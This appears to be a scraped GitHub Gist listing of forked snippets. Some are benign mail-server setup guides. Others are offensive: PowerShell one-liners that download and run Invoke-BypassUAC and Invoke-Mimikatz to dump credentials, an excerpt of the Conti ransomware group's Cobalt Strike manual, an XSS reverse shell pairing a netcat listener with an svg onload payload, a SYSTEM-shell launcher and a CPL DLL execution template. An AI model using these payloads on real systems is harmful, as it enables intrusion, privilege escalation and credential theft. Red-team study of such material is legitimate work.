Skip to content

Instantly share code, notes, and snippets.

filipesam / Email Server (Linux, Unix, Mac).md
Created June 21, 2024 07:39 — forked from raelgc/Email Server (Linux, Unix, Mac).md
Setup a Local Only SMTP Email Server (Linux, Unix, Mac)

Setup a Local Only SMTP Email Server (Linux, Unix, Mac)

1 - Point to your machine

Most of programs will not accept an email using just @localhost as domain. So, edit /etc/hosts file to make the domain point to your machine, including this content to the file:

2 - Install Postfix

filipesam / Setting up Postfix on
Created June 20, 2024 22:13 — forked from howyay/Setting up Postfix on
A guide to set up a Postfix + Dovecot IMAP server with complete spf, dkim and dmarc support.

An ultimate guide to Postfix + Dovecot IMAP server with complete SPF, DKIM and DMARC support and additional instructions for a multi-domain setup

In this guide, will be your root domain and will be the hostname of your mail server

filipesam / SystemCMD.cpp
Created April 11, 2024 08:16 — forked from masthoon/SystemCMD.cpp
Launch SYSTEM CMD in user current session (from a service)
#include "stdafx.h"
#include <windows.h>
#include <Winbase.h>
#include <Wtsapi32.h>
#include <Userenv.h>
#include <malloc.h>
#pragma comment(lib, "Wtsapi32.lib")
#pragma comment(lib, "Userenv.lib")
# Description:
# Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.
# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('');Invoke-BypassUAC -Command 'start powershell.exe'"
# Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('');Invoke-Mimikatz -DumpCreds"
# Import Mimikatz Module to run further commands
filipesam /
Created August 23, 2023 10:57 — forked from insi2304/
CS manual Conti
!------------------------------------------------- --Standard Commands---------------------------------------------- -----!
Creating a load
interact - choose an agent
help -> will show a list of commands
help [command] will show help for a specific command
filipesam / xss_shell.txt
Created August 2, 2023 08:52 — forked from ivanvza/xss_shell.txt
XSS Reverse Shell
Attacker: while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; done
Victim: <svg/onload=setInterval(function(){d=document;z=d.createElement("script");z.src="//HOST:PORT";d.body.appendChild(z)},0)>
filipesam / Search my
Created July 13, 2023 14:54 — forked from santisbon/Search my
How to #search gists

Enter this in the search box along with your search terms:

Get all gists from the user santisbon.

Find all gists with a .yml extension.

Find all gists with HTML files.

filipesam / Cplapplet.cpp
Created January 29, 2023 14:26 — forked from reigningshells/Cplapplet.cpp
DllMain template to execute code in a .cpl file which is just a renamed DLL that exports a function CplApplet
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <Windows.h>
extern "C" __declspec(dllexport) LONG CplApplet()
MessageBoxA(NULL, "Replace this message box with something more interesting...", "Control Panel", 0);
return 1;